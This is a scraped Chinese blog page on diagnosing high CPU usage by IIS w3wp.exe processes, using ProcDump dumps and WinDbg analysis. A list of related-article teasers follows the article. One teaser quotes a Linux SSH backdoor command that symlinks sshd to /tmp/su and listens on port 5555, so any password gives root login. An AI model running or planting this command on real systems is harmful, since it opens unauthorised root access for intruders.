w3wp oracle,w3wp.exe占用CPU超过50%的处理

w3wp.exe占用CPU超过50%的处理

1.查看CPU占用高的进程:任务管理器

blog_14d5a51a90102weyk.html

C:\Documents and

Settings\Administrator>iisapp

W3WP.exe PID: 18008 AppPoolId: STAT

W3WP.exe PID: 8328 AppPoolId: STAT

W3WP.exe PID: 17868 AppPoolId: JYCV16

W3WP.exe PID: 16652 AppPoolId: JYCONLINE

W3WP.exe PID: 1248 AppPoolId: MAIL

C:\Documents and

Settings\Administrator>E:\soft\Procdump\procdump.exe -ma -c

50

-s 3 -n 2

17868

ProcDump v7.1 - Writes process dump files

Copyright (C) 2009-2014 Mark Russinovich

Sysinternals - www.sysinternals.com

With contributions from Andrew Richards

Process: w3wp.exe (17868)

CPU

threshold: >= 50% of system

Performance counter: n/a

Commit

threshold: n/a

Threshold

seconds: 3

Hung window

check: Disabled

Log debug

strings: Disabled

Exception

monitor: Disabled

Exception

filter: *

Terminate

monitor: Disabled

Cloning

type: Disabled

Concurrent

limit: n/a

Avoid

outage: n/a

Number of

dumps: 2

Dump

folder: C:\Documents and Settings\Administrator\

Dump

filename/mask: PROCESSNAME_YYMMDD_HHMMSS

Press Ctrl-C to end monitoring without terminating the

process.

[16:25:34] CPU: 75% 1s

[16:25:35] CPU: 72% 2s

[16:25:36] CPU: 76% 3s (Trigger)

[16:25:36] Dump 1 initiated: C:\Documents and

Settings\Administrator\w3wp.exe_16

0110_162536.dmp

[16:25:40] Dump 1 complete: 153 MB written in 3.4

seconds

[16:25:42] CPU: 75% 1s

[16:25:43] CPU: 74% 2s

[16:25:44] CPU: 80% 3s (Trigger)

[16:25:44] Dump 2 initiated: C:\Documents and

Settings\Administrator\w3wp.exe_16

0110_162544.dmp

[16:25:44] Dump 2 complete: 173 MB written in 0.4

seconds

[16:25:45] Dump count reached.

C:\Documents and

Settings\Administrator>iisapp

W3WP.exe PID: 18008 AppPoolId: STAT

W3WP.exe PID: 8328 AppPoolId: STAT

W3WP.exe PID: 17868 AppPoolId: JYCV16

W3WP.exe PID: 16652 AppPoolId: JYCONLINE

W3WP.exe PID: 1248 AppPoolId: MAIL

W3WP.exe PID: 11948 AppPoolId: TOPWOM

W3WP.exe PID: 6268 AppPoolId: jvm

C:\Documents and Settings\Administrator>

2.用WiinDbg打开dump文件(File

\ Open Crash Dump)

blog_14d5a51a90102weyk.html

3.输入命令!analyze

-v,等待几秒后会打印出错误信息,函数调用栈如下图:

blog_14d5a51a90102weyk.html

blog_14d5a51a90102weyk.html

blog_14d5a51a90102weyk.html

blog_14d5a51a90102weyk.html

参考方法:

我们经常遇到w3wp.exe进程的CPU占用率在某一时间段内突然升高几倍,但是无论使用adplus.vbs还是debug

dialog去抓取这一瞬间的dump都是有难度的。而且遇到高cpu的问题我们通常抓取一个dump不能看出问题,需要多个样例。

就能够很好的处理这个情况:

procdump -ma -c 50

-s 3 -n 2 5844(Process Name or PID)-ma将整个进程的内存信息写入dump。默认包含thread和handle信息-c在CPU到达多少的时候抓取-s持续多少秒后抓取 (default is

10).

-n抓几次-6464bit的w3wp.exe要用这个-e 当进程遇到unhandled

exception的时候-r Server 2008 R2支持的,clone一个process来做dump,减少因为抓dump而使w3wp挂起的时间

0:121:x86> ~108s

The wow64exts extension must be loaded to access 32-bit

state.

.load wow64exts will do this if you haven't loaded it

already.

ntdll!ZwQueryVirtualMemory+0xa:

0033:77b6154a

0:108:x86> ~121s

clr!CoInitializeEE+0x47df2:

74216664 81f904000080  cmp

ecx,80000004h

0:121:x86> k

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/458978.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

论两种学习模式

引言 A:你是如何学习的,通过视频、书籍和实践结合?B:不是,一般情况是以一个问题为点去画线和面。 两种学习模式 按部就班方式获取知识(通过书、视频)缺点 信息接收者缺乏深度思考和探索信息发布者的知识体系不一定适合…

启动mq命令 linux,RocketMQ:Linux下启动server和broker的命令

目录QUESTION:RocketMQ:Linux下启动server和broker的命令?ANSWER:一、启动mqnamesrv1.1当前执行1.2后台运行二、启动mqbroker2.1当前执行2.2后台运行QUESTION:RocketMQ:Linux下启动server和broker的命令?ANSWER:一、启动mqnamesrv1.1当前执行进入rocke…

C++中int *p[4]和 int (*q)[4]的区别

*************************************************** 更多精彩,欢迎进入:http://shop115376623.taobao.com *************************************************** C中int *p[4]和 int (*q)[4]的区别 前者是指针数组,后者是指向数组的指针…

Spring笔记③--spring的命名空间

p:命名空间: xmlns:p"http://www.springframework.org/schema/p" 作用:简化在xml配置bean的属性 在<bean>中使用p:属性名来配置 AOP:命名空间: xmlns:aop"http://www.springframework.org/schema/aop" xsi:schemaLocation: http://www.springframewo…

linux不用命令开启ssh,不用密码也能ssh登陆Linux?

Linux的一个后门引发对PAM的探究1.1 起因今天在搜索关于Linux下的后门姿势时&#xff0c;发现一条命令如下&#xff1a;ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort5555;经典后门。直接对sshd建立软连接&#xff0c;之后用任意密码登录即可。ssh rootx.x.x.x -p 5555这个是…

ScrollView常用(暂时用上了的)代理方法

2019独角兽企业重金招聘Python工程师标准>>> ScrollView常用代理方法: #pragma mark - 滚动结束调用 -(void)scrollViewDidEndDecelerating:(UIScrollView *)scrollView {// 计算 滑动到了第几页double page scrollView.contentOffset.x / scrollView.width;self.p…

笔试题目汇总

C常考笔试题:不用if,while,do-while,for,打印出所有大于0小于k的整数.函数原型void printLess(int k); 解法一:递归方式(刚想出来) [cpp] view plaincopy #include <iostream> using namespace std; void printLess(int k) { switch(--k) { case 0:…

Android ListView性能优化实例讲解

前言&#xff1a; 对于ListView&#xff0c;大家绝对都不会陌生&#xff0c;只要是做过Android开发的人&#xff0c;哪有不用ListView的呢&#xff1f; 只要是用过ListView的人&#xff0c;哪有不关心对它性能优化的呢&#xff1f; 关于如何对ListView进行性能优化&#xff0c;…

Bzoj 3289: Mato的文件管理 莫队,树状数组,逆序对,离散化,分块

3289: Mato的文件管理 Time Limit: 40 Sec Memory Limit: 128 MBSubmit: 1539 Solved: 665[Submit][Status][Discuss]Description Mato同学从各路神犇以各种方式&#xff08;你们懂的&#xff09;收集了许多资料&#xff0c;这些资料一共有n份&#xff0c;每份有一个大小和一…

linux头文件 库,Linux操作系统的头文件和库文件搜索路径

一、 头文件1 “”中的头文件&#xff0c;在源文件当前目录查找2 -I 中指定目录 -I可以在CFLAG中指定3 gcc的环境变量 C_INCLUDE_PATH, CPLUS_INCLUDE_PATH, OBJC_INCLUDE_PATH4 编译器预设路径、内定目录&#xff1a;/usr/include/usr/local/include/usr/lib/gcc-lib/i386-lin…

vs2010创建和使用动态链接库(dll)

*************************************************** 更多精彩&#xff0c;欢迎进入&#xff1a;http://shop115376623.taobao.com *************************************************** 本文将创建一个简单的动态链接库&#xff0c;并编写一个应用台控制程序使用该动态链接…

通用二进制

通用二进制 通用二进制&#xff08;Universal binary&#xff09;是苹果电脑公司提出的一种程序代码&#xff0c;使程序能以本地程序的形式运行在使用PowerPC或者英特尔微处理器&#xff08;x86&#xff09;的麦金塔电脑上&#xff0c;在同一个程序包中同时为两种架构提供最理想…

Python~win32com~Excel

import win32com.client#wwin32com.client.Dispatch("Word.Application") #w.Visible1owin32com.client.Dispatch("Excel.Application") o.Visible1 o.Workbooks.Add() o.Cells(1,1).Value"Hello"转载于:https://www.cnblogs.com/lynclynn/p/530…

linux显示光盘命令行,使用wodim在命令行下烧录光盘

使用wodim在命令行下烧录光盘发布时间:2009-02-27 16:23:11来源:红联作者:zhania作者&#xff1a;linuxtoy出自http://linuxtoy.org/archives/burning-cd-with-wodim.html我们以前介绍的 Linux 光盘烧录工具多为图形化的程序&#xff0c;今天来看看如何使用 wodim 在命令行下烧…

Android(java)学习笔记144:网络图片浏览器的实现(ANR)

1.我们在Android下&#xff0c;实现使用http协议进行网络通信&#xff0c;请求网络数据。这里是获取网络上的图片信息&#xff0c;让它可以显示在手机上&#xff1b; 但是我们这个手机连接网络是很费时间&#xff0c;如果我们在主线程&#xff08;UI线程&#xff09;中写这个网…

DLL导出函数名称改编的解决方法

*************************************************** 更多精彩&#xff0c;欢迎进入&#xff1a;http://shop115376623.taobao.com *************************************************** 1.DLL编译后导出函数名称改变 在编写一个DLL后&#xff0c;为了能被别的程序调用&…

组合自定义控件的步骤详解

Android 步骤&#xff1a; 1 自定义组合控件的布局settint_view.xml<?xml version"1.0" encoding"utf-8"?> <RelativeLayout xmlns:android"http://schemas.android.com/apk/res/android"android:orientation"vertical"and…

linux如何建立隐藏目录,【Linux】文件与目录的默认权限与隐藏权限

01. 文件默认权限&#xff1a;umask文件的权限可以使用chmod来改变&#xff0c;但是我们默认创建文件的权限是什么&#xff1f;那就是与umask这个有关了。下来我们学习这个指令1.1 简单使用umask[rootiZbp13q6hd8z3xaagcmz6gZ /]# umask0022[rootiZbp13q6hd8z3xaagcmz6gZ /]# u…

Servlet和JSP学习指导与实践(二):Session追踪

前言&#xff1a; web应用中经常需要对某些有用的信息进行存储或者附加一些信息。本文主要介绍session&#xff0c;即“会话”跟踪的几种不同方式~ ----------------------------4种管理session的方式&#xff1a; 1.重写url 通过在请求的url后面追加参数信息进行会话跟踪。如&…

数据存储和界面展示(二)

#测试 黑盒测试 测试逻辑业务 白盒测试 测试逻辑方法 根据测试粒度 方法测试&#xff1a;function test 单元测试&#xff1a;unit test 集成测试&#xff1a;integration test 系统测试&#xff1a;system test 根据测试暴力程度 冒烟测试&#xff1a;smoke test 压力测…